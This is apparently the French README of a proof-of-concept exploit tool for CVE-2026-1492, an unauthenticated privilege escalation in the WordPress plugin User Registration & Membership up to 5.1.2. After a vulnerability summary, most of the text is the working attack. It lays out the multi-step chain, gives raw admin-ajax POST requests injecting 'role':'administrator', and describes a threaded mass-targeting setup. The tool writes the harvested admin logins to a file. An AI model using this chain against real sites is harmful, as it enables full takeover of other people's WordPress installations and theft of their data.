
User Registration & Membership <= 5.1.2 - Élévation de privilèges non authentifiée via l'inscription à l'adhésion
User Registration & Membership <= 5.1.2 - Élévation de privilèges non authentifiée via l'inscription à l'adhésion
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-1492 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Logiciel concerné | User Registration & Membership — Créateur de formulaire d'inscription personnalisé, formulaire de connexion personnalisé, profil utilisateur, restriction de contenu et plugin d'adhésion pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 5.1.2 incluse |
| Type de vulnérabilité | Gestion inappropriée des privilèges — Création non authentifiée de compte administrateur |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
Description :
Le plugin User Registration & Membership pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions jusqu'à la 5.1.2 incluse. La vulnérabilité provient du gestionnaire AJAX user_registration_membership_register_member, qui accepte une valeur role fournie par l'utilisateur pendant le processus d'inscription à l'adhésion, sans appliquer de liste blanche côté serveur ni de contrôle de capacités. Un attaquant distant totalement non authentifié peut construire une chaîne de requêtes AJAX en plusieurs étapes — en inscrivant d'abord un nouveau compte utilisateur, puis en soumettant un appel register_member malveillant avec "role": "administrator" injecté dans le payload JSON members_data — pour créer silencieusement un compte Administrateur WordPress doté de tous les privilèges. Cela aboutit à une compromission totale de l'installation WordPress concernée, sans aucune interaction de l'utilisateur.
Ceci est un script d'exploitation Proof-of-Concept (PoC) implémentant une chaîne d'attaque complète avec gestion d'état contre les sites WordPress exécutant une version vulnérable du plugin User Registration & Membership. L'outil réalise une exploitation intelligente en plusieurs étapes avec découverte automatique, extraction de plan, collecte de nonces, inscription à double flux, injection de rôle et vérification de l'administrateur.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
L'outil utilise une interface terminal entièrement interactive propulsée par Rich. Tous les paramètres sont demandés au moment de l'exécution.
Créez un fichier texte brut (par défaut : list.txt) avec une cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
L'outil découvre et analyse automatiquement :
| Cible | Ce qui est extrait |
|---|---|
/membership-pricing/ | Identifiants des plans d'adhésion, liens de la page d'inscription |
/registration/ | Champs du formulaire, nonces, URL AJAX, boutons radio d'adhésion |
Objet JS user_registration_params | ajax_url, nonce security, métadonnées du formulaire |
ur_membership_frontend_localized_data | Nonce spécifique à l'adhésion, point de terminaison AJAX |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Le serveur accepte le champ
roleenvoyé par le client sans aucune validation par liste blanche — c'est la cause racine de CVE-2026-1492.
L'outil ouvre une nouvelle session, se connecte avec les identifiants nouvellement créés et sonde :